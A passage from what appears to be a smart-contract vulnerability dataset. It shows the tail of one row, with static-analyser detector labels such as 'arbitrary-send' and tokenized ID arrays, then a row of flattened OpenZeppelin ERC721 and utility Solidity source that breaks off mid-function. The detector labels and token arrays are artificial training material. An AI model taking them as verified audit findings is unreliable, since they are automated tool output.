"Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'boolean-cst', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'name-reused', 'impact': 'High', 'confidence': 'High'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
22203,
2063,
2692,
14141,
2063,
2487,
26337,
2063,
2549,
4215,
2487,
2063,
2683,
2278,
2692,
22907,
2546,
21472,
2497,
26187,
2509,
9024,
2475,
2094,
2683,
2683,
2620,
22407,
2094,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1028,
1027,
1014,
1012,
1020,
1012,
1014,
1025,
12324,
1063,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
2692,
2475,
1065,
2013,
1005,
1030,
4895,
2483,
4213,
2361,
1013,
1058,
2475,
1011,
23275,
1013,
8311,
1013,
19706,
1013,
1045,
19496,
26760,
9331,
2615,
2475,
22494,
3334,
2692,
2475,
1012,
14017,
1005,
1025,
12324,
1063,
4895,
2483,
4213,
2361,
2615,
2475,
29521,
19848,
2100,
1065,
2013,
1005,
1012,
1012,
1013,
8860,
1013,
4895,
2483,
4213,
2361,
2615,
2475,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,418 | 0x951e4297561E9Abef6e5b4B2f78696ed8c552fd0 | // SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Counters.sol)
pragma solidity ^0.8.0;
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId)
external
view
returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator)
external
view
returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"Address: low-level static call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"Address: low-level delegate call failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner)
public
view
virtual
override
returns (uint256)
{
require(
owner != address(0),
"ERC721: balance query for the zero address"
);
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId)
public
view
virtual
override
returns (address)
{
address owner = _owners[tokenId];
require(
owner != address(0),
"ERC721: owner query for nonexistent token"
);
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
require(
_exists(tokenId),
"ERC721Metadata: URI query for nonexistent token"
);
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId)
public
view
virtual
override
returns (address)
{
require(
_exists(tokenId),
"ERC721: approved query for nonexistent token"
);
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved)
public
virtual
override
{
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(
_isApprovedOrOwner(_msgSender(), tokenId),
"ERC721: transfer caller is not owner nor approved"
);
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId)
internal
view
virtual
returns (bool)
{
require(
_exists(tokenId),
"ERC721: operator query for nonexistent token"
);
address owner = ERC721.ownerOf(tokenId);
return (spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(
ERC721.ownerOf(tokenId) == from,
"ERC721: transfer from incorrect owner"
);
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(
_msgSender(),
from,
tokenId,
_data
)
returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert(
"ERC721: transfer to non ERC721Receiver implementer"
);
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// OpenZeppelin Contracts (last updated v4.5.0) (utils/cryptography/MerkleProof.sol)
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merklee tree up
* from `leaf` using `proof`. A `proof` is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf)
internal
pure
returns (bytes32)
{
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b)
private
pure
returns (bytes32 value)
{
assembly {
mstore(0x00, a)
